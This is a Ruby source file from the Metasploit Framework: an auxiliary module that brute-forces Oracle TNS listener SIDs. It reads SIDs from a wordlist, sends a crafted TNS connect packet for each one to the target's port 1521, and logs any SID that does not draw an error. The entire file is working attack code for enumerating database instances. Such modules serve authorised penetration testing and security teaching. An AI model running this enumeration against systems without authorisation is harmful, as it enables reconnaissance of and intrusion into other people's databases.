metasploit-framework/modules/auxiliary/admin/oracle/sid_brute.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
include Msf::Exploit::Remote::TNS
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def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle TNS Listener SID Brute Forcer',
'Description' => %q{
This module simply attempts to discover the protected SID.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.metasploit.com/users/mc' ],
[ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],
],
'DisclosureDate' => 'Jan 7 2009'))
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register_options(
[
Opt::RPORT(1521),
OptString.new('SLEEP', [ false, 'Sleep() amount between each request.', '1']),
OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
])
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end
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def run
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s = datastore['SLEEP']
list = datastore['SIDFILE']
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print_status("Starting brute force on #{rhost}, using sids from #{list}...")
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fd = ::File.open(list, 'rb').each do |sid|
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login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
pkt = tns_packet(login)
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begin
connect
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rescue ::Interrupt
raise $!
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rescue => e
print_error(e.to_s)
disconnect
return
end
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sock.put(pkt)
select(nil,nil,nil,s.to_i)
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res = sock.get_once
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disconnect
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if res and res.to_s !~ /ERROR_STACK/
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report_note(
:host => rhost,
:port => rport,
:type => 'oracle_sid',
:data => "PORT=#{rport}, SID=#{sid.strip}",
:update => :unique_data
)
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
end
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end
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print_status("Done with brute force...")
fd.close
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end
end